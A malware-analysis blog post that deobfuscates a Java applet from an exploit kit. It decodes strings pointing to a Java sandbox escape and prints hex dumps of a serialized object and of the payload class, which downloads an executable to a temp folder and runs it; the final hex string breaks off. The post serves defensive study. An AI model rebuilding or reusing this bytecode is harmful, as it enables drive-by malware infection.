Malicious Java Applet Deobfuscation

On Sunday (13th January 2013), I’ve received an email from @it4sec with regards to a malicious Java applet that he had received. So I’ve decided to write about it since Java applet seems like a common thing used by ExploitKits recently.

Recon Stage

Since a .jar file is basically a sort of “container”, let’s use 7zip to look at the structure and what does it contain.

 

As we can see from the above images, there is another file, nlfokjpqhpnjflnd, on the same level of Package A. It could probably be a resource, or the actual malware itself. But let’s fire up Java Decompiler and decompile this .jar file.

Whoa, judging from the above screenshot. It seems that the JApplet is heavily obfuscated. When you launch the JVM, you specify a class to run, it is the main() of this class where your program starts. However, that’s for normal Java applications. To get a clearer picture of how JApplet works, it’s better so explain the difference between the startup differences between a Java Application, a JApplet and a Java Thread.

• Java Application – main()
• JApplet – init()
• Java Thread Start – run()

From the above-mentioned information, we can see that we need to search for init() within this .jar file. So let’s do a search with Java Decompiler and you should get back the same as shown in the image below.

So 2 java class files, ruqwqctigjeifejeioao & lmrjcuwbkbfxm, contained the init() function. If we open the 2 class files, we’ll realize that the init() in ruqwqctigjeifejeioao is empty and lmrjcuwbkbfxm  is the one starting the JApplet. But as I’ve mentioned earlier, this JApplet is heavily obfuscated. So how do we proceed? One thing I’ve noticed about most Java Obfuscators is that they placed a lot junk code into it. So what I would usually do is to perform a search on the functions. For the sake of simplicity, I did a search on “uarjiavwfxhrtqiy” and I’ve only got 1 hit, that is the declaration of the function itself. So what this probably mean is that there is no calling of this function and it’s probably junk code. After you have removed the junk codes, you will effectively have a much readable obfuscated .jar file.

Analysis of the XOR functions

Eventually you should have something like this zip file. As I am removing the junk code, one of the class file that caught my eye is: ruqwqctigjeifejeioao.  It comprises of 3 XOR funnctions. Let’s take a look at zgdvbqcbnsyfifz function first.

As we can see from the above image, it uses the 3 functions, equjlmvrymasjuy.xedrxvjygqwynzp, khppdrajqtvx.deftwubxwijud, lbqmiajqnkzzvfegy.ebppnwqzhuinwehxnhso before assigning it to a string array, oatgwfhyasuxgrhxgup. So let’s try understand what equjlmvrymasjuy.xedrxvjygqwynzp tries to do:

public static String[] xedrxvjygqwynzp(String paramString1, String paramString2) {
        return paramString1.split(paramString2);
}

As we can see, xedrxvjygqwynzp is basically doing a string split on paramString1 based on delimiter, paramString2. Let’s just rename the function and the variables and you should have something similar like this:

public static String[] StringSplit(String szInputString, String szDelimiter) {
        return szInputString.split(szDelimiter);
}

Now let’s move on to khppdrajqtvx.deftwubxwijud:

public static String deftwubxwijud(byte[] paramArrayOfByte) {
        return new String(paramArrayOfByte);
}

As we can see from the above code snippet, it’s basically doing a Byte to String. So let’s rename the function:

public static String Byte2String(byte[] paramArrayOfByte) {
        return new String(paramArrayOfByte);
}

Lastly, we will take a look at lbqmiajqnkzzvfegy.ebppnwqzhuinwehxnhso:

public static String ebppnwqzhuinwehxnhso() {
        return rlfcwveaurpxojwdymq.agzcxgdeagqpu();
}

Oh great, it’s calling another function in another class. Let’s take a look at rlfcwveaurpxojwdymq.agzcxgdeagqpu before going back to this again:

public static String agzcxgdeagqpu() {
        char[] arrayOfChar = new char[2];

        arrayOfChar[0] = '\\';
        arrayOfChar[1] = ';';

        return new String(arrayOfChar);
}

So this is just returning a String array comprising of ‘\’ and ‘;’. Let’s rename this function, agzcxgdeagqpu , as:

public static String szReturningBackSlashAndSemiColon(){
    char[] arrayOfChar = new char[2];

    arrayOfChar[0] = '\\';
    arrayOfChar[1] = ';';

    return new String(arrayOfChar);
}

And rename ebppnwqzhuinwehxnhso as follows:

public static String szReturningBackSlashAndSemiColonFromAnotherClass(){
        return rlfcwveaurpxojwdymq.szReturningBackSlashAndSemiColon();
}

Now after renaming all the functions, let’s take a 2^nd look at zgdvbqcbnsyfifz again:

oatgwfhyasuxgrhxgup = equjlmvrymasjuy.xedrxvjygqwynzp(khppdrajqtvx.deftwubxwijud(arrayOfByte1),
lbqmiajqnkzzvfegy.
ebppnwqzhuinwehxnhso());

is giving us a deobfuscated string:

szDeObfuscatedString = StringSplit(Byte2String(arrayOfByte1), szReturningBackSlashAndSemiColonFromAnotherClass());

If we were to write a Java file with the analyzed XOR function in it, we would be getting the following String array.

stringArray[0] = "java.security.AllPermission";
stringArray[1] = "file://";
stringArray[2] = "a.Time
stringArray[3] = "getDeclaredConstructors";
stringArray[4] = "newInstance";
stringArray[5] = "go";
stringArray[6] = "ycegyashypda";
stringArray[7] = "/nlfokjpqhpnjflnd";
stringArray[8] = "java.util.concurrent.atomic.AtomicReferenceArray";
stringArray[9] = "set";
stringArray[10] = "setSecurityManager";
stringArray[11] = "forName";
stringArray[12] = "sun.awt.SunToolkit";
stringArray[13] = "getField";
stringArray[14] = "acc";
stringArray[15] = "com.sun.org.glassfish.gmbal.util.GenericConstructor";
stringArray[16] = "com.sun.org.glassfish.gmbal.ManagedObjectManagerFactory";
stringArray[17] = "sun.invoke.anon.AnonymousClassLoader";
stringArray[18] = "loadClass";

Check that number 7 contains the string that is the filename of the file which is on the same level of Package A. We’ll come back to this later on, now let’s take a look at the 2nd XOR functions.

If we were to write a Java file and place this XOR function in it, we would be getting the following Byte array:

array[] = { AC, ED, 00, 05, 75, 72, 00, 13, 5B, 4C, 6A, 61, 76, 
61, 2E, 6C, 61, 6E, 67, 2E, 4F, 62, 6A, 65, 63, 74, 3B, 90, CE, 
58, 9F, 10, 73, 29, 6C, 02, 00, 00, 78, 70, 00, 00, 00, 02, 75, 
72, 00, 09, 5B, 4C, 61, 2E, 68, 6B, 7A, 6E, 3B, FE, 2C, 94, 11, 
88, B6, E5, FF, 02, 00, 00, 78, 70, 00, 00, 00, 01, 70, 73, 72, 
00, 30, 6A, 61, 76, 61, 2E, 75, 74, 69, 6C, 2E, 63, 6F, 6E, 63, 
75, 72, 72, 65, 6E, 74, 2E, 61, 74, 6F, 6D, 69, 63, 2E, 41, 74, 
6F, 6D, 69, 63, 52, 65, 66, 65, 72, 65, 6E, 63, 65, 41, 72, 72, 
61, 79, A9, D2, DE, A1, BE, 65, 60, 0C, 02, 00, 01, 5B, 00, 05, 
61, 72, 72, 61, 79, 74, 00, 13, 5B, 4C, 6A, 61, 76, 61, 2F, 6C, 
61, 6E, 67, 2F, 4F, 62, 6A, 65, 63, 74, 3B, 78, 70, 71, 00, 7E, 
00, 03 };

If you are familiar with file headers, you will realize that ACED means that this is a “Java serialization data” and this byte array is being used in the “init” function. Now let’s move on to the 3^rd XOR function.

If we were to write a Java file and place this XOR function in it, we would be getting the following Byte array:

array[] = { CA, FE, BA, BE, 00, 00, 00, 31, 00, BE, 0A, 00, 40,
00, 56, 08, 00, 57, 09, 00, 3F, 00, 58, 08, 00, 59, 09, 00, 3F,
00, 5A, 08, 00, 5B, 09, 00, 3F, 00, 5C, 08, 00, 5D, 09, 00, 3F,
00, 5E, 09, 00, 3F, 00, 5F, 0A, 00, 60, 00, 61, 07, 00, 62, 0A,
00, 0C, 00, 63, 0A, 00, 64, 00, 65, 08, 00, 66, 0A, 00, 64, 00,
67, 08, 00, 68, 0A, 00, 1F, 00, 69, 08, 00, 6A, 07, 00, 6B, 0A,
00, 14, 00, 56, 0A, 00, 14, 00, 6C, 08, 00, 6D, 0A, 00, 14, 00,
6E, 0A, 00, 28, 00, 6F, 0A, 00, 3F, 00, 70, 08, 00, 71, 0A, 00,
3F, 00, 72, 07, 00, 73, 0A, 00, 74, 00, 75, 07, 00, 76, 0A, 00,
74, 00, 77, 07, 00, 78, 0A, 00, 21, 00, 79, 0A, 00, 21, 00, 7A,
0A, 00, 7B, 00, 7C, 0A, 00, 7B, 00, 7D, 07, 00, 7E, 0A, 00, 26,
00, 63, 07, 00, 7F, 0A, 00, 28, 00, 80, 0A, 00, 28, 00, 6E, 07,
00, 81, 0A, 00, 2B, 00, 82, 07, 00, 83, 0A, 00, 2D, 00, 56, 0A,
00, 2B, 00, 84, 0A, 00, 2D, 00, 85, 0A, 00, 2D, 00, 86, 0A, 00,
1D, 00, 87, 07, 00, 88, 0A, 00, 33, 00, 79, 0A, 00, 89, 00, 8A,
0A, 00, 89, 00, 7D, 0A, 00, 28, 00, 8B, 07, 00, 8C, 0A, 00, 38,
00, 56, 07, 00, 8D, 0A, 00, 3A, 00, 56, 0A, 00, 38, 00, 8E, 0A,
00, 3A, 00, 8F, 0A, 00, 3A, 00, 6E, 07, 00, 90, 07, 00, 91, 07,
00, 92, 01, 00, 03, 75, 72, 6C, 01, 00, 12, 4C, 6A, 61, 76, 61,
2F, 6C, 61, 6E, 67, 2F, 53, 74, 72, 69, 6E, 67, 3B, 01, 00, 08,
68, 74, 74, 70, 5F, 70, 72, 65, 01, 00, 0A, 68, 74, 74, 70, 5F,
6F, 75, 74, 72, 6F, 01, 00, 08, 68, 74, 74, 70, 5F, 64, 6F, 74,
01, 00, 07, 70, 61, 79, 6C, 6F, 61, 64, 01, 00, 02, 5B, 42, 01,
00, 06, 3C, 69, 6E, 69, 74, 3E, 01, 00, 03, 28, 29, 56, 01, 00,
04, 43, 6F, 64, 65, 01, 00, 02, 67, 6F, 01, 00, 17, 28, 5B, 42,
4C, 6A, 61, 76, 61, 2F, 6C, 61, 6E, 67, 2F, 53, 74, 72, 69, 6E,
67, 3B, 29, 56, 01, 00, 03, 72, 75, 6E, 01, 00, 14, 28, 29, 4C,
6A, 61, 76, 61, 2F, 6C, 61, 6E, 67, 2F, 4F, 62, 6A, 65, 63, 74,
3B, 01, 00, 0A, 45, 78, 63, 65, 70, 74, 69, 6F, 6E, 73, 01, 00,
02, 73, 66, 01, 00, 17, 28, 4C, 6A, 61, 76, 61, 2F, 6C, 61, 6E,
67, 2F, 53, 74, 72, 69, 6E, 67, 3B, 5B, 42, 29, 56, 07, 00, 93,
01, 00, 03, 72, 6E, 6D, 01, 00, 27, 28, 4C, 6A, 61, 76, 61, 2F,
6C, 61, 6E, 67, 2F, 49, 6E, 74, 65, 67, 65, 72, 3B, 29, 4C, 6A,
61, 76, 61, 2F, 6C, 61, 6E, 67, 2F, 53, 74, 72, 69, 6E, 67, 3B,
0C, 00, 49, 00, 4A, 01, 00, 09, 31, 32, 37, 2E, 30, 2E, 30, 2E,
31, 0C, 00, 42, 00, 43, 01, 00, 07, 68, 74, 74, 70, 3A, 2F, 2F,
0C, 00, 44, 00, 43, 01, 00, 08, 2F, 6D, 65, 73, 74, 61, 74, 73,
0C, 00, 45, 00, 43, 01, 00, 01, 2E, 0C, 00, 46, 00, 43, 0C, 00,
47, 00, 48, 07, 00, 94, 0C, 00, 95, 00, 96, 01, 00, 13, 6A, 61,
76, 61, 2F, 6C, 61, 6E, 67, 2F, 54, 68, 72, 6F, 77, 61, 62, 6C,
65, 0C, 00, 97, 00, 4A, 07, 00, 98, 0C, 00, 99, 00, 9A, 01, 00,
0E, 6A, 61, 76, 61, 2E, 69, 6F, 2E, 74, 6D, 70, 64, 69, 72, 0C,
00, 9B, 00, 9C, 01, 00, 01, 2F, 0C, 00, 9D, 00, 9E, 01, 00, 01,
5C, 01, 00, 17, 6A, 61, 76, 61, 2F, 6C, 61, 6E, 67, 2F, 53, 74,
72, 69, 6E, 67, 42, 75, 69, 6C, 64, 65, 72, 0C, 00, 9F, 00, A0,
01, 00, 0E, 66, 69, 6C, 65, 2E, 73, 65, 70, 61, 72, 61, 74, 6F,
72, 0C, 00, A1, 00, A2, 0C, 00, A3, 00, A4, 0C, 00, 54, 00, 55,
01, 00, 04, 2E, 65, 78, 65, 0C, 00, 51, 00, 52, 01, 00, 11, 6A,
61, 76, 61, 2F, 6C, 61, 6E, 67, 2F, 50, 72, 6F, 63, 65, 73, 73,
07, 00, A5, 0C, 00, A6, 00, A7, 01, 00, 10, 6A, 61, 76, 61, 2F,
6C, 61, 6E, 67, 2F, 53, 74, 72, 69, 6E, 67, 0C, 00, A8, 00, A9,
01, 00, 0C, 6A, 61, 76, 61, 2F, 6E, 65, 74, 2F, 55, 52, 4C, 0C,
00, 49, 00, AA, 0C, 00, AB, 00, AC, 07, 00, AD, 0C, 00, AE, 00,
AF, 0C, 00, B0, 00, 4A, 01, 00, 13, 6A, 61, 76, 61, 2F, 6C, 61,
6E, 67, 2F, 45, 78, 63, 65, 70, 74, 69, 6F, 6E, 01, 00, 11, 6A,
61, 76, 61, 2F, 6C, 61, 6E, 67, 2F, 49, 6E, 74, 65, 67, 65, 72,
0C, 00, 49, 00, B1, 01, 00, 1B, 6A, 61, 76, 61, 2F, 69, 6F, 2F,
42, 75, 66, 66, 65, 72, 65, 64, 49, 6E, 70, 75, 74, 53, 74, 72,
65, 61, 6D, 0C, 00, 49, 00, B2, 01, 00, 1D, 6A, 61, 76, 61, 2F,
69, 6F, 2F, 42, 79, 74, 65, 41, 72, 72, 61, 79, 4F, 75, 74, 70,
75, 74, 53, 74, 72, 65, 61, 6D, 0C, 00, AE, 00, B3, 0C, 00, B4,
00, B5, 0C, 00, B6, 00, B7, 0C, 00, B8, 00, AF, 01, 00, 18, 6A,
61, 76, 61, 2F, 69, 6F, 2F, 46, 69, 6C, 65, 4F, 75, 74, 70, 75,
74, 53, 74, 72, 65, 61, 6D, 07, 00, B9, 0C, 00, B4, 00, BA, 0C,
00, BB, 00, AF, 01, 00, 10, 6A, 61, 76, 61, 2F, 75, 74, 69, 6C,
2F, 52, 61, 6E, 64, 6F, 6D, 01, 00, 16, 6A, 61, 76, 61, 2F, 6C,
61, 6E, 67, 2F, 53, 74, 72, 69, 6E, 67, 42, 75, 66, 66, 65, 72,
0C, 00, BC, 00, BA, 0C, 00, 9F, 00, BD, 01, 00, 06, 61, 2F, 54,
69, 6D, 65, 01, 00, 10, 6A, 61, 76, 61, 2F, 6C, 61, 6E, 67, 2F,
4F, 62, 6A, 65, 63, 74, 01, 00, 27, 6A, 61, 76, 61, 2F, 73, 65,
63, 75, 72, 69, 74, 79, 2F, 50, 72, 69, 76, 69, 6C, 65, 67, 65,
64, 45, 78, 63, 65, 70, 74, 69, 6F, 6E, 41, 63, 74, 69, 6F, 6E,
01, 00, 13, 6A, 61, 76, 61, 2F, 69, 6F, 2F, 49, 4F, 45, 78, 63,
65, 70, 74, 69, 6F, 6E, 01, 00, 1E, 6A, 61, 76, 61, 2F, 73, 65,
63, 75, 72, 69, 74, 79, 2F, 41, 63, 63, 65, 73, 73, 43, 6F, 6E,
74, 72, 6F, 6C, 6C, 65, 72, 01, 00, 0C, 64, 6F, 50, 72, 69, 76,
69, 6C, 65, 67, 65, 64, 01, 00, 3D, 28, 4C, 6A, 61, 76, 61, 2F,
73, 65, 63, 75, 72, 69, 74, 79, 2F, 50, 72, 69, 76, 69, 6C, 65,
67, 65, 64, 45, 78, 63, 65, 70, 74, 69, 6F, 6E, 41, 63, 74, 69,
6F, 6E, 3B, 29, 4C, 6A, 61, 76, 61, 2F, 6C, 61, 6E, 67, 2F, 4F,
62, 6A, 65, 63, 74, 3B, 01, 00, 0F, 70, 72, 69, 6E, 74, 53, 74,
61, 63, 6B, 54, 72, 61, 63, 65, 01, 00, 10, 6A, 61, 76, 61, 2F,
6C, 61, 6E, 67, 2F, 53, 79, 73, 74, 65, 6D, 01, 00, 12, 73, 65,
74, 53, 65, 63, 75, 72, 69, 74, 79, 4D, 61, 6E, 61, 67, 65, 72,
01, 00, 1E, 28, 4C, 6A, 61, 76, 61, 2F, 6C, 61, 6E, 67, 2F, 53,
65, 63, 75, 72, 69, 74, 79, 4D, 61, 6E, 61, 67, 65, 72, 3B, 29,
56, 01, 00, 0B, 67, 65, 74, 50, 72, 6F, 70, 65, 72, 74, 79, 01,
00, 26, 28, 4C, 6A, 61, 76, 61, 2F, 6C, 61, 6E, 67, 2F, 53, 74,
72, 69, 6E, 67, 3B, 29, 4C, 6A, 61, 76, 61, 2F, 6C, 61, 6E, 67,
2F, 53, 74, 72, 69, 6E, 67, 3B, 01, 00, 08, 65, 6E, 64, 73, 57,
69, 74, 68, 01, 00, 15, 28, 4C, 6A, 61, 76, 61, 2F, 6C, 61, 6E,
67, 2F, 53, 74, 72, 69, 6E, 67, 3B, 29, 5A, 01, 00, 06, 61, 70,
70, 65, 6E, 64, 01, 00, 2D, 28, 4C, 6A, 61, 76, 61, 2F, 6C, 61,
6E, 67, 2F, 53, 74, 72, 69, 6E, 67, 3B, 29, 4C, 6A, 61, 76, 61,
2F, 6C, 61, 6E, 67, 2F, 53, 74, 72, 69, 6E, 67, 42, 75, 69, 6C,
64, 65, 72, 3B, 01, 00, 08, 74, 6F, 53, 74, 72, 69, 6E, 67, 01,
00, 14, 28, 29, 4C, 6A, 61, 76, 61, 2F, 6C, 61, 6E, 67, 2F, 53,
74, 72, 69, 6E, 67, 3B, 01, 00, 07, 76, 61, 6C, 75, 65, 4F, 66,
01, 00, 16, 28, 49, 29, 4C, 6A, 61, 76, 61, 2F, 6C, 61, 6E, 67,
2F, 49, 6E, 74, 65, 67, 65, 72, 3B, 01, 00, 11, 6A, 61, 76, 61,
2F, 6C, 61, 6E, 67, 2F, 52, 75, 6E, 74, 69, 6D, 65, 01, 00, 0A,
67, 65, 74, 52, 75, 6E, 74, 69, 6D, 65, 01, 00, 15, 28, 29, 4C,
6A, 61, 76, 61, 2F, 6C, 61, 6E, 67, 2F, 52, 75, 6E, 74, 69, 6D,
65, 3B, 01, 00, 04, 65, 78, 65, 63, 01, 00, 28, 28, 5B, 4C, 6A,
61, 76, 61, 2F, 6C, 61, 6E, 67, 2F, 53, 74, 72, 69, 6E, 67, 3B,
29, 4C, 6A, 61, 76, 61, 2F, 6C, 61, 6E, 67, 2F, 50, 72, 6F, 63,
65, 73, 73, 3B, 01, 00, 15, 28, 4C, 6A, 61, 76, 61, 2F, 6C, 61,
6E, 67, 2F, 53, 74, 72, 69, 6E, 67, 3B, 29, 56, 01, 00, 0A, 6F,
70, 65, 6E, 53, 74, 72, 65, 61, 6D, 01, 00, 17, 28, 29, 4C, 6A,
61, 76, 61, 2F, 69, 6F, 2F, 49, 6E, 70, 75, 74, 53, 74, 72, 65,
61, 6D, 3B, 01, 00, 13, 6A, 61, 76, 61, 2F, 69, 6F, 2F, 49, 6E,
70, 75, 74, 53, 74, 72, 65, 61, 6D, 01, 00, 04, 72, 65, 61, 64,
01, 00, 03, 28, 29, 49, 01, 00, 05, 63, 6C, 6F, 73, 65, 01, 00,
04, 28, 49, 29, 56, 01, 00, 18, 28, 4C, 6A, 61, 76, 61, 2F, 69,
6F, 2F, 49, 6E, 70, 75, 74, 53, 74, 72, 65, 61, 6D, 3B, 29, 56,
01, 00, 07, 28, 5B, 42, 49, 49, 29, 49, 01, 00, 05, 77, 72, 69,
74, 65, 01, 00, 07, 28, 5B, 42, 49, 49, 29, 56, 01, 00, 0B, 74,
6F, 42, 79, 74, 65, 41, 72, 72, 61, 79, 01, 00, 04, 28, 29, 5B,
42, 01, 00, 07, 77, 61, 69, 74, 46, 6F, 72, 01, 00, 14, 6A, 61,
76, 61, 2F, 69, 6F, 2F, 4F, 75, 74, 70, 75, 74, 53, 74, 72, 65,
61, 6D, 01, 00, 05, 28, 5B, 42, 29, 56, 01, 00, 08, 69, 6E, 74,
56, 61, 6C, 75, 65, 01, 00, 09, 6E, 65, 78, 74, 42, 79, 74, 65,
73, 01, 00, 1B, 28, 43, 29, 4C, 6A, 61, 76, 61, 2F, 6C, 61, 6E,
67, 2F, 53, 74, 72, 69, 6E, 67, 42, 75, 66, 66, 65, 72, 3B, 00,
21, 00, 3F, 00, 40, 00, 01, 00, 41, 00, 05, 00, 01, 00, 42, 00,
43, 00, 00, 00, 01, 00, 44, 00, 43, 00, 00, 00, 01, 00, 45, 00,
43, 00, 00, 00, 01, 00, 46, 00, 43, 00, 00, 00, 01, 00, 47, 00,
48, 00, 00, 00, 05, 00, 01, 00, 49, 00, 4A, 00, 01, 00, 4B, 00,
00, 00, 43, 00, 02, 00, 02, 00, 00, 00, 2F, 2A, B7, 00, 01, 2A,
12, 02, B5, 00, 03, 2A, 12, 04, B5, 00, 05, 2A, 12, 06, B5, 00,
07, 2A, 12, 08, B5, 00, 09, 2A, 01, B5, 00, 0A, 2A, B8, 00, 0B,
4C, A7, 00, 08, 4C, 2B, B6, 00, 0D, B1, 00, 01, 00, 21, 00, 26,
00, 29, 00, 0C, 00, 00, 00, 01, 00, 4C, 00, 4D, 00, 01, 00, 4B,
00, 00, 00, 2C, 00, 02, 00, 04, 00, 00, 00, 18, 2A, 2C, B5, 00,
03, 2A, 2B, B5, 00, 0A, 2A, B8, 00, 0B, 4E, A7, 00, 08, 4E, 2D,
B6, 00, 0D, B1, 00, 01, 00, 0A, 00, 0F, 00, 12, 00, 0C, 00, 00,
00, 01, 00, 4E, 00, 4F, 00, 02, 00, 4B, 00, 00, 03, 10, 00, 07,
00, 13, 00, 00, 02, DC, 01, B8, 00, 0E, 2A, B4, 00, 0A, C7, 00,
05, 01, B0, 12, 0F, B8, 00, 10, 4C, 2B, 12, 11, B6, 00, 12, 9A,
00, 23, 2B, 12, 13, B6, 00, 12, 9A, 00, 1A, BB, 00, 14, 59, B7,
00, 15, 2B, B6, 00, 16, 12, 17, B8, 00, 10, B6, 00, 16, B6, 00,
18, 4C, BB, 00, 14, 59, B7, 00, 15, 10, 08, B8, 00, 19, B8, 00,
1A, B6, 00, 16, 12, 1B, B6, 00, 16, B6, 00, 18, 4D, BB, 00, 14,
59, B7, 00, 15, 2B, B6, 00, 16, 2C, B6, 00, 16, B6, 00, 18, 4E,
08, BC, 08, 59, 03, 10, C9, 54, 59, 04, 10, CB, 54, 59, 05, 10,
C3, 54, 59, 06, 10, A2, 54, 59, 07, 10, 91, 54, 3A, 04, 03, 36,
05, 03, 36, 06, 15, 06, 2A, B4, 00, 0A, BE, A2, 00, 2C, 15, 05,
19, 04, BE, A1, 00, 06, 03, 36, 05, 2A, B4, 00, 0A, 15, 06, 2A,
B4, 00, 0A, 15, 06, 33, 19, 04, 15, 05, 33, 82, 91, 54, 84, 05,
01, 84, 06, 01, A7, FF, D0, 2A, 2D, 2A, B4, 00, 0A, B7, 00, 1C,
10, 0C, BD, 00, 1D, 3A, 06, 03, 36, 07, 15, 07, 19, 06, BE, A2,
00, 0F, 19, 06, 15, 07, 01, 53, 84, 07, 01, A7, FF, EF, 03, 36,
07, 19, 06, 15, 07, B8, 00, 1E, 04, BD, 00, 1F, 59, 03, 2D, 53,
B6, 00, 20, 53, 84, 07, 01, BB, 00, 21, 59, 2A, B4, 00, 03, B7,
00, 22, 3A, 08, 19, 08, B6, 00, 23, 3A, 09, 19, 09, B6, 00, 24,
57, 19, 09, B6, 00, 25, A7, 00, 0A, 3A, 08, 19, 08, B6, 00, 27,
07, BC, 0A, 3A, 08, 19, 08, 03, 11, 00, C0, 4F, 19, 08, 04, 11,
00, A6, 4F, 19, 08, 05, 11, 00, DA, 4F, 19, 08, 06, 11, 00, B7,
4F, BB, 00, 14, 59, B7, 00, 15, 2A, B4, 00, 05, B6, 00, 16, BB,
00, 28, 59, 19, 08, 03, 2E, B7, 00, 29, B6, 00, 2A, B6, 00, 16,
2A, B4, 00, 09, B6, 00, 16, BB, 00, 28, 59, 19, 08, 04, 2E, B7,
00, 29, B6, 00, 2A, B6, 00, 16, 2A, B4, 00, 09, B6, 00, 16, BB,
00, 28, 59, 19, 08, 05, 2E, B7, 00, 29, B6, 00, 2A, B6, 00, 16,
2A, B4, 00, 09, B6, 00, 16, BB, 00, 28, 59, 19, 08, 06, 2E, B7,
00, 29, B6, 00, 2A, B6, 00, 16, 2A, B4, 00, 07, B6, 00, 16, B6,
00, 18, 3A, 09, BB, 00, 2B, 59, BB, 00, 21, 59, 19, 09, B7, 00,
22, B6, 00, 23, B7, 00, 2C, 3A, 0A, BB, 00, 2D, 59, B7, 00, 2E,
3A, 0B, 11, 30, 00, BC, 08, 3A, 0C, 19, 0A, 19, 0C, 03, 19, 0C,
BE, B6, 00, 2F, 59, 36, 0D, 02, 9F, 00, 10, 19, 0B, 19, 0C, 03,
15, 0D, B6, 00, 30, A7, FF, E4, 19, 0B, B6, 00, 31, 3A, 0E, 19,
0E, BE, 11, 20, 00, A4, 00, 53, BB, 00, 14, 59, B7, 00, 15, 10,
07, B8, 00, 19, B8, 00, 1A, B6, 00, 16, 12, 1B, B6, 00, 16, B6,
00, 18, 3A, 0F, BB, 00, 14, 59, B7, 00, 15, 2B, B6, 00, 16, 19,
0F, B6, 00, 16, B6, 00, 18, 3A, 10, 2A, 19, 10, 19, 0E, B7, 00,
1C, 19, 06, 15, 07, B8, 00, 1E, 04, BD, 00, 1F, 59, 03, 19, 10,
53, B6, 00, 20, 53, 84, 07, 01, 03, 36, 08, 15, 08, 19, 06, BE,
A2, 00, 1A, 19, 06, 15, 08, 32, C6, 00, 0C, 19, 06, 15, 08, 32,
B6, 00, 32, 57, 84, 08, 01, A7, FF, E4, A7, 00, 56, 3A, 08, 19,
08, B6, 00, 27, 03, 36, 08, 15, 08, 19, 06, BE, A2, 00, 1A, 19,
06, 15, 08, 32, C6, 00, 0C, 19, 06, 15, 08, 32, B6, 00, 32, 57,
84, 08, 01, A7, FF, E4, A7, 00, 2A, 3A, 11, 03, 36, 12, 15, 12,
19, 06, BE, A2, 00, 1A, 19, 06, 15, 12, 32, C6, 00, 0C, 19, 06,
15, 12, 32, B6, 00, 32, 57, 84, 12, 01, A7, FF, E4, 19, 11, BF,
01, B0, 00, 05, 01, 01, 01, 20, 01, 23, 00, 26, 01, 2A, 02, 62,
02, 87, 00, 26, 01, 2A, 02, 62, 02, B3, 00, 00, 02, 87, 02, 8E,
02, B3, 00, 00, 02, B3, 02, B5, 02, B3, 00, 00, 00, 00, 00, 50,
00, 00, 00, 04, 00, 01, 00, 26, 00, 02, 00, 51, 00, 52, 00, 02,
00, 4B, 00, 00, 00, 1F, 00, 03, 00, 04, 00, 00, 00, 13, BB, 00,
33, 59, 2B, B7, 00, 34, 4E, 2D, 2C, B6, 00, 35, 2D, B6, 00, 36,
B1, 00, 00, 00, 00, 00, 50, 00, 00, 00, 04, 00, 01, 00, 53, 00,
09, 00, 54, 00, 55, 00, 01, 00, 4B, 00, 00, 00, 9A, 00, 04, 00,
07, 00, 00, 00, 8E, 2A, B6, 00, 37, BC, 08, 4C, BB, 00, 38, 59,
B7, 00, 39, 4D, BB, 00, 3A, 59, B7, 00, 3B, 4E, 2C, 2B, B6, 00,
3C, 03, 36, 04, 15, 04, 2B, BE, A2, 00, 66, 2B, 15, 04, 33, 11,
00, F0, 7E, 07, 7A, 91, 36, 05, 2B, 15, 04, 33, 10, 0F, 7E, 91,
36, 06, 15, 05, 10, 0A, A2, 00, 11, 2D, 10, 30, 15, 05, 60, 92,
B6, 00, 3D, 57, A7, 00, 11, 2D, 10, 41, 15, 05, 10, 0A, 64, 60,
92, B6, 00, 3D, 57, 15, 06, 10, 0A, A2, 00, 11, 2D, 10, 30, 15,
06, 60, 92, B6, 00, 3D, 57, A7, 00, 11, 2D, 10, 41, 15, 06, 10,
0A, 64, 60, 92, B6, 00, 3D, 57, 84, 04, 01, A7, FF, 99, 2D, B6,
00, 3E, B0, 00, 00, 00, 00, 00, 00 };

Immediately again, if you are familiar with file headers. You will realize that CA FE BA BE is the header Java bytecode file (.class).

Rebuilding the .class file

So let’s extract these bytes and write them to a file like this:

CAFEBABE0000003100BE0A0040005608005709003F005808005909003F005A0
8005B09003F005C08005D09003F005E09003F005F0A006000610700620A000C
00630A006400650800660A006400670800680A001F006908006A07006B0A001
400560A0014006C08006D0A0014006E0A0028006F0A003F00700800710A003F
00720700730A007400750700760A007400770700780A002100790A0021007A0
A007B007C0A007B007D07007E0A0026006307007F0A002800800A0028006E07
00810A002B00820700830A002D00560A002B00840A002D00850A002D00860A0
01D00870700880A003300790A0089008A0A0089007D0A0028008B07008C0A00
38005607008D0A003A00560A0038008E0A003A008F0A003A006E07009007009
107009201000375726C0100124C6A6176612F6C616E672F537472696E673B01
0008687474705F70726501000A687474705F6F7574726F010008687474705F6
46F740100077061796C6F61640100025B420100063C696E69743E0100032829
56010004436F6465010002676F010017285B424C6A6176612F6C616E672F537
472696E673B295601000372756E01001428294C6A6176612F6C616E672F4F62
6A6563743B01000A457863657074696F6E730100027366010017284C6A61766
12F6C616E672F537472696E673B5B422956070093010003726E6D010027284C
6A6176612F6C616E672F496E74656765723B294C6A6176612F6C616E672F537
472696E673B0C0049004A0100093132372E302E302E310C0042004301000768
7474703A2F2F0C004400430100082F6D6573746174730C004500430100012E0
C004600430C004700480700940C009500960100136A6176612F6C616E672F54
68726F7761626C650C0097004A0700980C0099009A01000E6A6176612E696F2
E746D706469720C009B009C0100012F0C009D009E0100015C0100176A617661
2F6C616E672F537472696E674275696C6465720C009F00A001000E66696C652
E736570617261746F720C00A100A20C00A300A40C005400550100042E657865
0C005100520100116A6176612F6C616E672F50726F636573730700A50C00A60
0A70100106A6176612F6C616E672F537472696E670C00A800A901000C6A6176
612F6E65742F55524C0C004900AA0C00AB00AC0700AD0C00AE00AF0C00B0004
A0100136A6176612F6C616E672F457863657074696F6E0100116A6176612F6C
616E672F496E74656765720C004900B101001B6A6176612F696F2F427566666
5726564496E70757453747265616D0C004900B201001D6A6176612F696F2F42
79746541727261794F757470757453747265616D0C00AE00B30C00B400B50C0
0B600B70C00B800AF0100186A6176612F696F2F46696C654F75747075745374
7265616D0700B90C00B400BA0C00BB00AF0100106A6176612F7574696C2F526
16E646F6D0100166A6176612F6C616E672F537472696E674275666665720C00
BC00BA0C009F00BD010006612F54696D650100106A6176612F6C616E672F4F6
26A6563740100276A6176612F73656375726974792F50726976696C65676564
457863657074696F6E416374696F6E0100136A6176612F696F2F494F4578636
57074696F6E01001E6A6176612F73656375726974792F416363657373436F6E
74726F6C6C657201000C646F50726976696C6567656401003D284C6A6176612
F73656375726974792F50726976696C65676564457863657074696F6E416374
696F6E3B294C6A6176612F6C616E672F4F626A6563743B01000F7072696E745
